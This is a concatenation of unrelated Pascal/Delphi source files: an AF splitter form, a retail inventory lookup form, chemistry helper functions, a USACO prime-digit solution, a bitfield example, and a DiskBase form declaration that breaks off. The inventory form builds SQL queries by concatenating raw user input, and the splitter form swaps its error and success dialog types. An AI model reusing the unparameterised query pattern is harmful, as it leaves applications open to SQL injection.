{$R *.DFM} uses AFSplitter, SDUGeneral; procedure TfrmMain.FormShow(Sender: TObject); begin self.Caption := Application.Title; end; procedure TfrmMain.pbSplitClick(Sender: TObject); begin Execute(TRUE); end; procedure TfrmMain.pbMergeClick(Sender: TObject); begin Execute(FALSE); end; // splitNotMerge - Set to TRUE to split, FALSE to merge procedure TfrmMain.Execute(splitNotMerge: boolean); var allOK: boolean; input, output: string; datafile: TFileStream; fileLen: Longint; currHashAlg: fhHashType; begin allOK := TRUE; // Read in the input file... if (allOK) then begin // Read in data from the inFile datafile := TFileStream.Create(edFilenameInput.text, fmOpenRead); try // Determine file size... datafile.Seek(0, soFromEnd); fileLen := datafile.Position; input := StringOfChar('Z', fileLen); // Read in the whole file... datafile.Seek(0, soFromBeginning); if (datafile.Read(input[1], fileLen) <> fileLen) then begin MessageDlg('Unable to read in entire file ('+inttostr(fileLen)+' bytes)', mtError, [mbOK], 0); allOK := FALSE; end; finally datafile.Free(); end; end; // Setup the hash object... for currHashAlg:=low(fhHashType) to high(fhHashType) do begin THashAlgUnified(hashAlg).ActiveHash := currHashAlg; if (cbHash.Items[cbHash.ItemIndex] = hashAlg.Title) then begin // Located appropriate algorithm; exit loop. break; end; end; showmessage(inttostr(hashAlg.Digestsize)); // Split/merge... if (allOK) then begin if splitNotMerge then begin allOK := AFSplit( input, seStripeCount.value, hashAlg, output ); end else begin allOK := AFMerge( input, seStripeCount.value, hashAlg, output ); end; end; // Write out the processed data... if (allOK) then begin // Write out data to the outFile datafile := TFileStream.Create(edFilenameOutput.text, fmCreate); try // Write the whole file... datafile.Seek(0, soFromBeginning); if (datafile.Write(output[1], Length(output)) <> Length(output)) then begin MessageDlg('Unable to write out processed data ('+inttostr(Length(output))+' bytes)', mtError, [mbOK], 0); allOK := FALSE; end; finally datafile.Free(); end; end; // Report to user. if (allOK) then begin MessageDlg('Operation succeeded OK.', mtError, [mbOK], 0); end else begin MessageDlg('Operation failed.', mtInformation, [mbOK], 0); end; end; procedure TfrmMain.PopulateHashes(); var currHashAlg: fhHashType; begin cbHash.Items.Clear(); for currHashAlg:=low(fhHashType) to high(fhHashType) do begin THashAlgUnified(hashAlg).ActiveHash := currHashAlg; cbHash.Items.Add(hashAlg.Title); end; end; procedure TfrmMain.FormCreate(Sender: TObject); begin hashAlg := THashAlgUnified.Create(nil); PopulateHashes(); // Setup sensible defaults... edFilenameInput.text := ''; edFilenameOutput.text := ''; seStripeCount.value := 10; cbHash.ItemIndex := cbHash.Items.IndexOf('SHA-1'); end; procedure TfrmMain.FormCloseQuery(Sender: TObject; var CanClose: Boolean); begin hashAlg.Free(); end; procedure TfrmMain.pbBrowseInputClick(Sender: TObject); begin SDUOpenSaveDialogSetup(OpenDialog1, edFilenameInput.Text); if OpenDialog1.Execute() then begin edFilenameInput.Text := OpenDialog1.Filename; end; end; procedure TfrmMain.pbBrowseOutputClick(Sender: TObject); begin SDUOpenSaveDialogSetup(SaveDialog1, edFilenameOutput.Text); if SaveDialog1.Execute() then begin edFilenameOutput.Text := SaveDialog1.Filename; end; end; END.
unit uShowStoragefrm; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, uBaseEditFrm, DB, ADODB, cxGridLevel, cxGridCustomTableView, cxGridDBBandedTableView, cxGrid, StdCtrls, cxButtonEdit, cxTextEdit, ExtCtrls, DBClient, cxCheckComboBox, cxButtons, cxGraphics, Menus, cxLookAndFeelPainters, cxStyles, cxCustomData, cxFilter, cxData, cxDataStorage, cxEdit, cxDBData, cxGridTableView, cxGridBandedTableView, cxClasses, cxControls, cxGridCustomView, cxMaskEdit, cxDropDownEdit, cxContainer, jpeg, dxSkinsCore, dxSkinOffice2007Black, cxCheckBox, cxLookupEdit, cxDBLookupEdit, cxDBLookupComboBox, dxGDIPlusClasses; type TdShowStorageform = class(TSTBaseEdit) Panel1: TPanel; Label1: TLabel; Label3: TLabel; Label2: TLabel; Label4: TLabel; Label5: TLabel; Label7: TLabel; edtStyleName: TcxTextEdit; edtfSell_Price: TcxTextEdit; edtfEnd_Unit_Price: TcxTextEdit; edtfEnd_Sum_Price: TcxTextEdit; ccbColorCode: TcxCheckComboBox; plButton: TPanel; cxGrid2: TcxGrid; dbgMulti1: TcxGridDBBandedTableView; dbgMulti1SSTORAGE_CODE: TcxGridDBBandedColumn; dbgMulti1SSTORAGE_NAME: TcxGridDBBandedColumn; dbgMulti1SCOLOR_NAME: TcxGridDBBandedColumn; dbgMulti1UBEI_ID: TcxGridDBBandedColumn; dbgMulti1FTOTAL_AMOUNT: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_1: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_2: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_3: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_4: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_5: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_6: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_7: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_8: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_9: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_10: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_11: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_12: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_13: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_14: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_15: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_16: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_17: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_18: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_19: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_20: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_21: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_22: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_23: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_24: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_25: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_26: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_27: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_28: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_29: TcxGridDBBandedColumn; dbgMulti1FAMOUNT_30: TcxGridDBBandedColumn; cxGridLevel1: TcxGridLevel; dsShop_Storage: TDataSource; cdsShop_Storage: TClientDataSet; btClose: TcxButton; QryStyleSizes: TADOQuery; Image1: TImage; edtStyleCode: TcxButtonEdit; cbOther: TcxCheckBox; cbOtherStora: TcxCheckBox; lbOrg: TLabel; cbSupplyOrg: TcxLookupComboBox; cdsSupplyOrg: TClientDataSet; dsSupplyOrg: TDataSource; Label8: TLabel; cxEdPrice: TcxTextEdit; btOK: TcxButton; Image2: TImage; Label6: TLabel; bt_Warehouse: TcxButtonEdit; procedure btCloseClick(Sender: TObject); procedure edtStyleCodePropertiesButtonClick(Sender: TObject; AButtonIndex: Integer); procedure edtStyleCodePropertiesChange(Sender: TObject); procedure cbOtherClick(Sender: TObject); procedure cbOtherStoraPropertiesChange(Sender: TObject); procedure FormShow(Sender: TObject); procedure edtStyleCodeKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure cbOtherStoraKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure btCloseKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure btOKClick(Sender: TObject); procedure btOKKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure bt_WarehouseKeyPress(Sender: TObject; var Key: Char); procedure bt_WarehousePropertiesButtonClick(Sender: TObject; AButtonIndex: Integer); procedure cbSupplyOrgPropertiesEditValueChanged(Sender: TObject); procedure dbgMulti1FAMOUNT_1GetDisplayText( Sender: TcxCustomGridTableItem; ARecord: TcxCustomGridRecord; var AText: String); private { Private declarations } fwarehouseid,fmaterialid,MaterNumber,MaterName : string; public { Public declarations } WarehouseFID:String; procedure SetMasterSizesGroup(fMaterialID : string;cxGridTV:TcxGridDBBandedTableView);//设置表格的尺码名称 procedure GetWarehouseInfo(wfid:string); function FindTIPWAREHOUS(StorageOrgID: string): string; end; var dShowStorageform: TdShowStorageform; procedure Showstorageqry(fwarehouseid,fmaterialid,MaterNumber,MaterName :string); implementation uses FrmCliDM,Pub_Fun,uMaterialListFrm,uSysDataSelect; {$R *.dfm} procedure Showstorageqry(fwarehouseid,fmaterialid,MaterNumber,MaterName :string); var ErrMsg : string; begin Application.CreateForm(TdShowStorageform,dShowStorageform); dShowStorageform.fwarehouseid := fwarehouseid; dShowStorageform.fmaterialid := fmaterialid; dShowStorageform.MaterNumber := MaterNumber; dShowStorageform.MaterName := MaterName; dShowStorageform.cbOtherStora.Checked := False; if fmaterialid<>'' then begin dShowStorageform.SetMasterSizesGroup(fmaterialid,dShowStorageform.dbgMulti1); dShowStorageform.edtStyleCode.Text := MaterNumber; dShowStorageform.edtStyleName.Text := MaterName; if not CliDM.Get_Shop_Storage(fwarehouseid,fmaterialid,'0','',dShowStorageform.cdsShop_Storage,ErrMsg) then ShowError(dShowStorageform.Handle, ErrMsg,[]); end; { if dShowStorageform.cbOther.Checked then dShowStorageform.cdsShop_Storage.Filtered := False else begin //过滤本店库存 dShowStorageform.cdsShop_Storage.Filter := 'FWarehouseID='+QuotedStr(UserInfo.Warehouse_FID); dShowStorageform.cdsShop_Storage.Filtered := True; end; } dShowStorageform.ShowModal; end; procedure TdShowStorageform.btCloseClick(Sender: TObject); begin inherited; Close; end; procedure TdShowStorageform.SetMasterSizesGroup(fMaterialID: string; cxGridTV: TcxGridDBBandedTableView); var i :Integer; sqlstr,FieldName : string; begin //隐藏所有尺码列 wushaoshu 20110524 for i := 1 to 30 do begin FieldName := 'fAmount_'+inttoStr(i); if cxGridTV.GetColumnByFieldName(FieldName) <> nil then cxGridTV.GetColumnByFieldName(FieldName).Visible := False; end; sqlstr := ' SELECT B.FSEQ,C.FNAME_L2 ' +' from T_BD_Material A(nolock) ' +' LEFT OUTER JOIN ct_bas_sizegroupentry B(nolock) ON A.cfSizeGroupID=B.fParentID ' +' LEFT OUTER JOIN T_BD_AsstAttrValue C(nolock) on b.cfSizeID=C.FID ' +' WHERE A.FID='+QuotedStr(fMaterialID) +' ORDER BY B.FSEQ '; with QryStyleSizes do begin Close; sql.Clear; sql.Add(sqlstr); Open; First; //循环显示款号对应的尺码 while not Eof do begin FieldName := 'fAmount_'+FieldByName('FSEQ').asString; if cxGridTV.GetColumnByFieldName(FieldName) <> nil then begin cxGridTV.GetColumnByFieldName(FieldName).Visible := True; cxGridTV.GetColumnByFieldName(FieldName).Caption := FieldByName('FNAME_L2').AsString; end; Next; end; end; end; procedure TdShowStorageform.edtStyleCodePropertiesButtonClick( Sender: TObject; AButtonIndex: Integer); var rst:string; sql,errmsg,showmsg:string; cds:TClientDataSet; begin inherited; try edtStyleCode.Properties.OnChange:=nil; rst:=SelectMatertialFID(edtStyleCode.Text); if rst<>'' then begin fmaterialid:=rst ; edtStyleName.Text:=''; end; if trim(fmaterialid)='' then Abort; sql:= 'select a.fnumber,a.fname_l2 from T_BD_MATERIAL a where a.fid='''+trim(fmaterialid)+''''; with CliDM.Client_QuerySQL(sql) do begin if not IsEmpty then begin showmsg:=Trim(fieldbyname('fname_l2').AsString); MaterNumber:=trim(fieldbyname('fnumber').AsString); MaterName:=Trim(fieldbyname('fname_l2').AsString); edtStyleName.Text:=showmsg; edtStyleCode.Text:=trim(fieldbyname('fnumber').AsString); cxEdPrice.Text := FloatToStr(CliDM.GetStylePrice(fmaterialid,UserInfo.FSaleOrgID)); end; end; SetMasterSizesGroup(fmaterialid,dbgMulti1); finally edtStyleCode.Properties.OnChange:=edtStyleCodePropertiesChange; end; end; procedure TdShowStorageform.edtStyleCodePropertiesChange(Sender: TObject); var sql,errmsg,showmsg:string; cds:TClientDataSet; begin inherited; if Trim(edtStyleCode.Text)='' then begin fmaterialid:=''; edtStyleName.Text:=''; end; sql:= 'select a.fid,a.fnumber,a.fname_l2 from T_BD_MATERIAL a where a.fnumber='''+trim(edtStyleCode.Text)+''''; with CliDM.Client_QuerySQL(sql) do begin if not IsEmpty then begin showmsg:=Trim(fieldbyname('fname_l2').AsString); edtStyleName.Text:=showmsg; fmaterialid:=Trim(fieldbyname('fid').AsString); MaterNumber:=trim(fieldbyname('fnumber').AsString); MaterName:=Trim(fieldbyname('fname_l2').AsString); cxEdPrice.Text := FloatToStr(CliDM.GetStylePrice(fmaterialid,UserInfo.FSaleOrgID)); dShowStorageform.SetMasterSizesGroup(fmaterialid,dbgMulti1); end else begin fmaterialid:=''; edtStyleName.Text:=''; MaterNumber:=''; MaterName:=''; cxEdPrice.Text :=''; end; end; end; procedure TdShowStorageform.cbOtherClick(Sender: TObject); begin inherited; if cbOther.Checked then cdsShop_Storage.Filtered := False else begin //过滤本店库存 cdsShop_Storage.Filter := 'FWarehouseID='+QuotedStr(UserInfo.Warehouse_FID); cdsShop_Storage.Filtered := True; end; end; procedure TdShowStorageform.cbOtherStoraPropertiesChange(Sender: TObject); begin inherited; // lbOrg.Visible := cbOtherStora.Checked; // cbSupplyOrg.Visible := cbOtherStora.Checked; // if cbOtherStora.Checked then // begin // if cdsSupplyOrg.IsEmpty then // CliDM.GetStorageOrgOnSaleOrg(UserInfo.FsaleOrgID,cdsSupplyOrg); // cbSupplyOrg.EditValue := UserInfo.FStoreOrgUnit; // end; end; procedure TdShowStorageform.FormShow(Sender: TObject); begin inherited; dShowStorageform.edtStyleCode.SetFocus; if cdsSupplyOrg.IsEmpty then CliDM.GetStorageOrgOnSaleOrg(UserInfo.FsaleOrgID,cdsSupplyOrg); cbSupplyOrg.EditValue:=userinfo.FStoreOrgUnit; WarehouseFID:=Userinfo.Warehouse_FID; GetWarehouseInfo(WarehouseFID); end; procedure TdShowStorageform.edtStyleCodeKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin inherited; if Key = 39 then //右键 cbOtherStora.SetFocus; end; procedure TdShowStorageform.cbOtherStoraKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin inherited; if Key = 37 then //左键 edtStyleCode.SetFocus; if Key = 39 then //右键 btOK.SetFocus; end; procedure TdShowStorageform.btCloseKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin inherited; if Key = 37 then //左键 btOk.SetFocus; if Key = 39 then //右键 edtStyleCode.SetFocus; end; procedure TdShowStorageform.btOKClick(Sender: TObject); var ErrMsg,StorageORG,OtherWare:string; begin inherited; if bt_Warehouse.Text='' then WarehouseFID:=''; if (edtStyleCode.Text='') then begin ShowMsg(Self.Handle,'物料不能为空!',[]); edtStyleCode.SetFocus; abort; end; OtherWare := '1'; StorageORG := VarToStr(cbSupplyOrg.EditValue); if StorageORG='' then begin ShowMsg(Handle,'请选择库存组织',[]); cbSupplyOrg.SetFocus; Abort; end; //查看当前库存组织下店铺库存(已经扣除了未更新库存的零售单) if not CliDM.Get_Shop_Storage(WarehouseFID,fmaterialid,OtherWare,StorageORG,dShowStorageform.cdsShop_Storage,ErrMsg) then ShowError(Handle, ErrMsg,[]); CliDM.ClientUserLog(Self.Caption,'报表查询','报表名称:'+Self.Caption); { //过滤本店库存 if cbOther.Checked then cdsShop_Storage.Filtered := False else begin //过滤本店库存 cdsShop_Storage.Filter := 'FWarehouseID='+QuotedStr(UserInfo.Warehouse_FID); cdsShop_Storage.Filtered := True; end; } end; procedure TdShowStorageform.btOKKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); begin inherited; if Key = 37 then //左键 cbOtherStora.SetFocus; if Key = 39 then //右键 btClose.SetFocus; end; procedure TdShowStorageform.bt_WarehouseKeyPress(Sender: TObject; var Key: Char); begin inherited; if Key<>#8 then begin Key := #0; end else begin bt_Warehouse.Text:=''; WarehouseFID:=''; end; end; procedure TdShowStorageform.GetWarehouseInfo(wfid: string); var sql,errmsg,showmsg:string; begin inherited; if Trim(WarehouseFID)='' then begin bt_Warehouse.Text:=''; exit; end; sql:= 'SELECT a.FID,a.FNUMBER,a.FNAME_L2 FROM T_DB_WAREHOUSE a where a.FID='''+trim(wfid)+''''; with CliDM.Client_QuerySQL(sql) do begin bt_Warehouse.Text := FieldByName('FNAME_L2').AsString; end; end; function TdShowStorageform.FindTIPWAREHOUS(StorageOrgID: string): string; var sqlstr,ReturnStr: string; fdEnglishList, fdChineseList, fdReturnAimList,strORgID: string; begin Result := ''; if Trim(StorageOrgID)='' then strORgID := UserInfo.FStoreOrgUnit else strORgID := StorageOrgID; sqlstr := 'SELECT FID,FNUMBER,FNAME_L2 FROM T_DB_WAREHOUSE(nolock) ' +' WHERE FWHState=1 and FSTORAGEORGID='+QuotedStr(strORgID) +' ORDER BY FNUMBER'; fdEnglishList := 'Fnumber,Fname_l2'; fdChineseList := '店铺编号,店铺名称'; fdReturnAimList := 'FID,Fname_l2'; ReturnStr := ShareSelectBoxCall(sqlstr, fdEnglishList, fdChineseList, fdReturnAimList, 200); Result := ReturnStr; end; procedure TdShowStorageform.bt_WarehousePropertiesButtonClick( Sender: TObject; AButtonIndex: Integer); begin inherited; WarehouseFID:=FindTIPWAREHOUS(cbSupplyOrg.EditValue); GetWarehouseInfo(WarehouseFID); end; procedure TdShowStorageform.cbSupplyOrgPropertiesEditValueChanged( Sender: TObject); begin inherited; WarehouseFID:=''; bt_Warehouse.Text:=''; end; procedure TdShowStorageform.dbgMulti1FAMOUNT_1GetDisplayText( Sender: TcxCustomGridTableItem; ARecord: TcxCustomGridRecord; var AText: String); begin inherited; if (Trim(AText)='0') then AText := ''; end; end.
unit URegularFunctions; interface uses UConst; function normalize(x: array of real): array of real; function convert_mass_to_volume_fractions(mass_fractions: array of real; densities: array of real := UConst.DENSITIES): array of real; function convert_mass_to_mole_fractions(mass_fractions: array of real; molar_masses: array of real := UConst.MR): array of real; function get_flow_density(mass_fractions: array of real; densities: array of real := UConst.DENSITIES): real; function get_flow_molar_mass(mass_fractions:array of real; molar_masses: array of real := UConst.MR): real; function get_heat_capacity(mass_fractions: array of real; temperature: real; coef: array of array of real := UConst.HEATCAPACITYCOEFFS): real; implementation function normalize(x: array of real): array of real; begin var s := x.Sum; result := ArrFill(x.Length, 0.0); foreach var i in x.Indices do result[i] := x[i] / s end; function convert_mass_to_volume_fractions(mass_fractions, densities: array of real): array of real; begin result := ArrFill(mass_fractions.Length, 0.0); var s := 0.0; foreach var i in mass_fractions.Indices do s += mass_fractions[i] * densities[i]; foreach var i in mass_fractions.Indices do result[i] := mass_fractions[i] * densities[i] / s end; function convert_mass_to_mole_fractions(mass_fractions, molar_masses: array of real): array of real; begin result := ArrFill(mass_fractions.Length, 0.0); var s := 0.0; foreach var i in mass_fractions.Indices do s += mass_fractions[i] / molar_masses[i]; foreach var i in mass_fractions.Indices do result[i] := mass_fractions[i] / molar_masses[i] / s end; function get_flow_density(mass_fractions, densities: array of real): real; begin var s := 0.0; foreach var i in mass_fractions.Indices do s += mass_fractions[i] / densities[i]; result := 1 / s end; function get_flow_molar_mass(mass_fractions, molar_masses: array of real): real; begin var s := 0.0; foreach var i in mass_fractions.Indices do s += mass_fractions[i] / molar_masses[i]; result := 1 / s end; function get_heat_capacity(mass_fractions: array of real; temperature: real; coef: array of array of real): real; begin var comp_heat_capacity := ArrFill(mass_fractions.Length, 0.0); foreach var i in mass_fractions.Indices do foreach var j in coef[i].Indices do comp_heat_capacity[i] += (j+1) * coef[i][j] * temperature ** j; result := 0.0; foreach var i in mass_fractions.Indices do result += mass_fractions[i] * comp_heat_capacity[i] end; end.
{$I-,Q-,R-,S-} {Problem 11: Qualified Primes [Kolstad/Ho, 2007] Farmer John has begun branding the cows with sequential prime numbers. Bessie has noticed this and is curious about the occurrence of various digits in those brands. Help Bessie determine the number of primes in the inclusive range A..B (1 <= A <= B <= 4,000,000; B <= A + 1,000,000; one test case has B <= A + 2,000,000 ) that contain a supplied digit D. A prime is a positive integer with exactly two divisors (1 and itself). The first primes are 2, 3, 5, 7, 11, 13, 17, 19, 23, and, 29. PROBLEM NAME: qprime INPUT FORMAT: * Line 1: Three space-separated integers: A, B, and D SAMPLE INPUT (file qprime.in): 10 15 3 INPUT DETAILS: How many primes in the range 10..15 contain the digit 3? OUTPUT FORMAT: * Line 1: The count of primes in the range that contain the digit D. SAMPLE OUTPUT (file qprime.out): 1 OUTPUT DETAILS: Just 13 in this range contains a '3'. } var fe,fs : text; n,m,d,sol : longint; dig : string; mk : array[1..4000000] of boolean; procedure open; begin assign(fe,'qprime.in'); reset(fe); assign(fs,'qprime.out'); rewrite(fs); readln(fe,n,m,d); str(d,dig); close(fe); end; function primo(x : longint) : boolean; var St : string[10]; begin str(x,St); if pos(dig,St) > 0 then primo:=true else primo:=false; end; procedure work; var i,j,k : longint; begin sol:=0; for i:=2 to (m div 2) do mk[i*2]:=true; for i:=3 to m do begin if not mk[i] then begin j:=3; k:=j*i; while (k <= m) do begin mk[k]:=true; j:=j+2; k:=j*i; end; end; end; for i:=n to m do if not mk[i] then begin if primo(i) then inc(sol); end; end; procedure closer; begin writeln(fs,sol); close(fs); end; begin open; work; closer; end.
(* Category: SWAG Title: BITWISE TRANSLATIONS ROUTINES Original name: 0032.PAS Description: Setting/Getting BITS Author: CHRIS QUARTETTI Date: 11-02-93 05:00 *) { CHRIS QUARTETTI >Is there an easy way to create a 1-bit or 2-bit data structure. For >example, a 2-bit Type that can hold 4 possible values. For that matter, >is there a hard way? <g> Thanks very much -Greg I suppose this would qualify For the hard way-- not too flexible, but it works. It would be a bit easier to do this if you wanted a bunch of the same size Variables (ie 4 4 bit Variables, or an Array of 4*x 4 bit Variables). FWIW I used BP7 here, but TP6 and up will work. Also, it need not be Object oriented. } Type bitf = Object { split 'bits' into bitfields } bits : Word; { 16 bits total } Function get : Word; Procedure set1(value : Word); { this will be 2 bits } Function get1 : Word; Procedure set2(value : Word); { this will be 13 bits } Function get2 : Word; Procedure set3(value : Word); { this will be 1 bit } Function get3 : Word; end; Function bitf.get : Word; begin get := bits; end; Procedure bitf.set1(value : Word); { Set the value of the first bitfield } Const valmask : Word = $C000; { 11000000 00000000 } bitsmask : Word = $3FFF; { 00111111 11111111 } begin value := value shl 14 and valmask; bits := value + (bits and bitsmask); end; Function bitf.get1 : Word; { Get the value of the first bitfield } begin get1 := bits shr 14; end; Procedure bitf.set2(value : Word); { Set the value of the second bitfield } Const valmask : Word = $3FFE; { 00111111 11111110 } bitsmask : Word = $C001; { 11000000 00000001 } begin value := (value shl 1) and valmask; bits := value + (bits and bitsmask); end; Function bitf.get2 : Word; { Get the value of the second bitfield } Const valmask : Word = $3FFE; { 00111111 11111110 } begin get2 := (bits and valmask) shr 1; end; Procedure bitf.set3(value : Word); { Set the value of the third bitfield } Const valmask : Word = $0001; { 00000000 00000001 } bitsmask : Word = $FFFE; { 11111111 11111110 } begin value := value and valmask; bits := value + (bits and bitsmask); end; Function bitf.get3 : Word; { Get the value of the third bitfield } Const valmask : Word = $0001; { 00000000 00000001 } begin get3 := bits and valmask; end; Var x : bitf; begin x.set1(3); { set all to maximum values } x.set2(8191); x.set3(1); Writeln(x.get1, ', ', x.get2, ', ', x.get3, ', ', x.get); end.
unit FMain; (*==================================================================== DiskBase main application window ======================================================================*) interface uses SysUtils, {$ifdef mswindows} WinTypes,WinProcs, {$ELSE} LCLIntf, LCLType, LMessages, dateutils, {$ENDIF} Messages, Classes, Graphics, Controls, Forms, Dialogs, Menus, ExtCtrls, Buttons, ComCtrls, Grids, PrintersDlgs, IniFiles, UStringList, UCollectionsExt, UTypes, FSettings, UApiTypes, FLocalOptions, Types; const MaxTreeLevels = 32; maxColumnAttribs = 6; defHintDelayPeriod = 100; type TOneColumn = record Width : Integer; Content: (coName, coTime, coSize, coDesc); end; TPrintWhat = (prSelectedPanel, prDisks, prTree, prFiles); // class representing one displayed line of the folder tree TOneTreeLine = class(TObject) Level : Integer; Line : string[MaxTreeLevels]; end; // class representing one displayed line of the folders TOneFileLine = class(TObject) POneFile : TPOneFile; FileType : TFileType; ExtAttr : byte; constructor Create(aOneFile: TOneFile); destructor Destroy; override; end; type { TMainForm } TMainForm = class(TForm) Disks: TDrawGrid; DrawGridFiles: TDrawGrid; HeaderTop: THeaderControl; ImageList: TImageList; MainMenu1: TMainMenu; MenuBrief1: TMenuItem; MenuCollapseTree: TMenuItem; MenuCopyDisk: TMenuItem; MenuCopyFile: TMenuItem; MenuDeleteDisk: TMenuItem; MenuDeleteFile: TMenuItem; MenuDeselectDisk: TMenuItem; MenuDetailed1: TMenuItem; MenuEditDesc: TMenuItem; MenuExpandTree: TMenuItem; MenuFile: TMenuItem; MenuHelpDisks: TMenuItem; MenuHelpFiles: TMenuItem; MenuHelpTree: TMenuItem; MenuInfoDisk: TMenuItem; MenuOpen: TMenuItem; MenuPrintDisks1: TMenuItem; MenuPrintFiles1: TMenuItem; MenuPrintTree1: TMenuItem; MenuRenameDisk: TMenuItem; MenuRescan: TMenuItem; MenuScanDisk: TMenuItem; MenuScanA: TMenuItem; MenuScanB: TMenuItem; MenuDirDescr: TMenuItem; MenuDelRecord: TMenuItem; MenuChgLabel: TMenuItem; MenuSelectAllDisks: TMenuItem; MenuSelectAllFiles: TMenuItem; MenuSelectDisks: TMenuItem; MenuSelectFiles: TMenuItem; MenuSepar3: TMenuItem; MenuCloseDBase: TMenuItem; MenuOpenDBase: TMenuItem; MenuReindex: TMenuItem; MenuExit: TMenuItem; MenuSearch: TMenuItem; MenuSettings: TMenuItem; MenuHelp: TMenuItem; MenuSearchName: TMenuItem; MenuSearchEmpty: TMenuItem; MenuSepar4: TMenuItem; MenuDiskInfo: TMenuItem; MenuConfig: TMenuItem; MenuHelpContent: TMenuItem; MenuAbout: TMenuItem; MainPanel: TPanel; MenuNew: TMenuItem; DiskTree: TTreeView; MenuShowTree1: TMenuItem; MenuSortExt1: TMenuItem; MenuSortName1: TMenuItem; MenuSortSize1: TMenuItem; MenuSortTime1: TMenuItem; MenuUndeleteDisk: TMenuItem; MenuUnselectFiles: TMenuItem; N10: TMenuItem; N11: TMenuItem; N12: TMenuItem; N13: TMenuItem; N3: TMenuItem; N6: TMenuItem; N8: TMenuItem; N9: TMenuItem; PageControl1: TPageControl; PopupMenuDisk: TPopupMenu; PopupMenuFiles: TPopupMenu; PopupMenuTree: TPopupMenu; PrintDialog: TPrintDialog; SpeedButtonOpenDBase: TSpeedButton; SpeedButtonPrint: TSpeedButton; SpeedButtonScanA: TSpeedButton; SpeedButtonScanDisk: TSpeedButton; MenuPrint: TMenuItem; SpeedButtonDirDescr: TSpeedButton; SpeedButtonSearchFile: TSpeedButton; SpeedButtonSearchEmpty: TSpeedButton; SpeedButtonDiskInfo: TSpeedButton; NewDialog: TSaveDialog; OpenDialog: TOpenDialog; SpeedButtonCollapse: TSpeedButton; SpeedButtonExpand: TSpeedButton; SpeedButtonShowTree: TSpeedButton; SpeedButtonBrief: TSpeedButton; SpeedButtonDetailed: TSpeedButton; MenuSepar1: TMenuItem; MenuSortName: TMenuItem; MenuSortExt: TMenuItem; MenuSortTime: TMenuItem; MenuSortSize: TMenuItem; MenuSepar5: TMenuItem; MenuShowTree: TMenuItem; MenuSepar7: TMenuItem; MenuBrief: TMenuItem; MenuDetailed: TMenuItem; MenuUndelRecord: TMenuItem; MenuLocalOptions: TMenuItem; SpeedButtonShowFound: TSpeedButton; SpeedButtonShowDBase: TSpeedButton; ReindexDialog: TOpenDialog; N1: TMenuItem; MenuExport: TMenuItem; MenuImport: TMenuItem; MenuEdit: TMenuItem; MenuCopy: TMenuItem; N2: TMenuItem; SaveDialogExport: TSaveDialog; OpenDialogImport: TOpenDialog; N4: TMenuItem; MenuMaskSelectDisks: TMenuItem; MenuDelDiskSelection: TMenuItem; SpeedButtonSelect: TSpeedButton; SpeedButtonUnselect: TSpeedButton; SpeedButtonParent: TSpeedButton; SpeedButtonSearchSelected: TSpeedButton; MenuSearchSelected: TMenuItem; MenuDBaseInfo: TMenuItem; N5: TMenuItem; MenuSelectAll: TMenuItem; MenuMakeRuntime: TMenuItem; OpenDialogImport4: TOpenDialog; MenuImport4: TMenuItem; MenuRescanDisk: TMenuItem; MenuScanFolder: TMenuItem; MainTimer: TTimer; OpenRepairDialog: TOpenDialog; SaveRepairDialog: TSaveDialog; MenuRepair: TMenuItem; N7: TMenuItem; MenuLastFileSepar: TMenuItem; MenuLastFile1: TMenuItem; MenuLastFile2: TMenuItem; MenuLastFile3: TMenuItem; MenuLastFile4: TMenuItem; MenuLastFile5: TMenuItem; MenuLastFile6: TMenuItem; MenuLastFile7: TMenuItem; MenuLastFile8: TMenuItem; MenuLastFile9: TMenuItem; MenuLastFile10: TMenuItem; MenuExportToOtherFormat: TMenuItem; MenuPrintDisks: TMenuItem; MenuPrintTree: TMenuItem; MenuPrintFiles: TMenuItem; MenuPrintFoundFiles: TMenuItem; MenuPrintEmpty: TMenuItem; SpeedButtonEject1: TSpeedButton; SpeedButtonEject2: TSpeedButton; MenuTools: TMenuItem; MenuDiscGearPrint: TMenuItem; Splitter1: TSplitter; Splitter2: TSplitter; StatusBar: TStatusBar; TabSheet1: TTabSheet; TabSheet2: TTabSheet; procedure DisksClick(Sender: TObject); procedure DisksDblClick(Sender: TObject); procedure DisksDrawCell(Sender: TObject; aCol, aRow: Integer; aRect: TRect; aState: TGridDrawState); procedure DisksEnter(Sender: TObject); procedure DisksKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); procedure DisksMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); procedure DisksResize(Sender: TObject); procedure 